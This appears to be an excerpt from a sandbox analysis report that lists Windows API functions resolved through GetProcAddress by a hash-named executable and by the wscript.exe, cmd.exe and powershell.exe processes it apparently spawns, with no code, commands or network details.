"1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00003308) "1544dbca0efc2c0105dd7d52a21a8891.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00003308) "wscript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00003468) "wscript.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00003468) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003320) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003320) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter IIDFromString (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00005716) 